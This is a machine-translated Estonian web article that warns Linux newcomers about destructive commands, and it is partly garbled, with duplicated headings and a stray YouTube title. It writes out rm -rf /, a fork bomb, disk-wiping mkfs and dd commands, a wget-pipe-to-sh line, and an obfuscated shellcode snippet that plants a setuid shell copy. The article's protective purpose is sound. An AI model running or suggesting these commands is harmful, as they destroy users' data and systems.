8 Deadly käske, mida te ei tohiks kunagi Linuxis käitada

Sisukord:

8 Deadly käske, mida te ei tohiks kunagi Linuxis käitada
8 Deadly käske, mida te ei tohiks kunagi Linuxis käitada

Video: 8 Deadly käske, mida te ei tohiks kunagi Linuxis käitada

Video: 8 Deadly käske, mida te ei tohiks kunagi Linuxis käitada
Video: $5.80 Per Action Using Your Email (CPA Marketing Tutorial For Beginners) - YouTube 2024, Märts
Anonim
Linuxi terminali käsklused on võimsad ja Linux ei küsi teilt kinnitust, kui käivitate käsku, mis murrab teie süsteemi. Ei ole haruldane näha trolle veebis, soovitades uutel Linuxi kasutajatel neid käske joonistada.
Linuxi terminali käsklused on võimsad ja Linux ei küsi teilt kinnitust, kui käivitate käsku, mis murrab teie süsteemi. Ei ole haruldane näha trolle veebis, soovitades uutel Linuxi kasutajatel neid käske joonistada.

Käskude õppimine, mida te ei peaks käitama, aitab kaitsta teid trollide eest, suurendades samas teie arusaama sellest, kuidas Linux töötab. See ei ole ammendav juhend ja siin saab käske remixed mitmel viisil.

Pange tähele, et paljud neist käskudest on ainult ohtlikud, kui nad on eelnevalt kinnitatud sudo Ubuntu - nad ei tööta teisiti. Teistes Linuxi distributsioonides tuleb enamik käske käivitada root.

rm -rf / - kustutab kõik!

Käsk rm-rf / kustutab kõik võimalikud võimalused, sealhulgas kõvakettale salvestatud failid ja ühendatud eemaldatavate meediumiseadmete failid. See käsk on paremini mõistetav, kui see on jaotatud:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux järgib seda käsku õnnelikult ja kustutab kõik, ilma et teid teilt palutakse, nii et seda kasutage ettevaatlikult! Käsku rm saab kasutada ka muudel ohtlikel viisidel - rm-rf ~ kustutab kõik oma kodukataloogis olevad failid samal ajal rm-rf. * kustutab kõik teie konfiguratsioonifailid.

Õppetund: Ettevaatust rm -rf.

Varjatud rm -rf /

Siin on veel üks koodilõigu kogu veebist:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

See on rm-rf / Selle käskluse täitmine kustutab teie failid nii nagu oleks käivitanud rm -rf /.

Õppetund: Ärge käituge imelikke ilmselt varjatud käsusid, mida te ei saa aru.

: () {: |: &};: - kahvlipomm

Järgmine rida on lihtne, kuid ohtlik bash-funktsioon:

:(){:|: &};:

See lühike rea määrab shellifunktsiooni, mis loob ise uusi koopiaid. Protsess kordab ennast pidevalt ja selle eksemplarid korduvad end pidevalt, võttes kiiresti kogu protsessori aja ja mälu. See võib põhjustada arvuti külmumise. See on põhimõtteliselt teenusetõkestuseta rünnak.

Õppetund: Bash funktsioonid on võimas, isegi väga lühikesed.

Image
Image

mkfs.ext4 / dev / sda1 - vormindab kõvaketast

The mkfs.ext4 / dev / sda1käsk on lihtne mõista:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Kokkuvõttes võib see käsu olla samaväärne töötab c: Windowsis - see kustutab teie esimese partitsiooni failid ja asendab need uue failisüsteemiga.

See käsk võib tulla ka teistes vormides - mkfs.ext3 / dev / sdb2 vormindaks teise kõvaketta teise partitsiooni ext3 failisüsteemiga.

Õppetund: Hoiduge käivituskäskudele otse kõvaketta seadmetes, mis algavad / dev / sd-ga.

käsk> / dev / sda - kirjutab otse kõvakettale

The käsk> / dev / sda joon töötab samamoodi - see käitab käsu ja saadab selle käsu väljundi otse oma esimesele kõvakettale, kirjutades andmed otse kõvakettale ja kahandades teie failisüsteemi.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

Õppetund: Nagu ülaltoodud, olge ettevaatlik käivitajate käskudega, mis sisaldavad kõvakettaseadmeid, mis algavad / dev / sd-st.

dd if = / dev / random of = / dev / sda - kirjutab kõvakettale rämps

The dd if = / dev / random of = / dev / sda liin kustutab ka andmed mõnest teie kõvakettast.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Õppetund: dd kopeerib andmeid ühest kohast teise, mis võib olla ohtlik, kui kopeerite otse seadmesse.

Image
Image

mv ~ / dev / null - liigub teie kodukataloogi Musta auku

/ dev / null on veel üks eriline asukoht - midagi / dev / nulli viimine on sama mis selle hävitamine. Mõtle / dev / null nagu must auk. Sisuliselt mv ~ / dev / null saadab kõik isiklikud failid mustasse auku.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

Õppetund: ~ Tähemärk esindab teie kodukataloogi ja asjade teisaldamine / dev / null neid hävitab.

wget https://example.com/something -O - | sh - laadib alla ja käivitab skripti

Ülaltoodud joon laadib veebist skripti ja saadab selle sh, mis käivitab skripti sisu. See võib olla ohtlik, kui te pole kindel, mida skript on või kui te ei usalda selle allikat - ärge kasutage ebausaldusväärseid skripte.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Õppetund: Ärge laadige veebist alla ega käivitage ebausaldusväärseid skripte, isegi käsuga.

Kas teate mis tahes muid ohtlikke käske, mida uus (ja kogenud) Linuxi kasutajad ei tohiks käitada? Jäta kommentaar ja jaga neid!

Soovitan: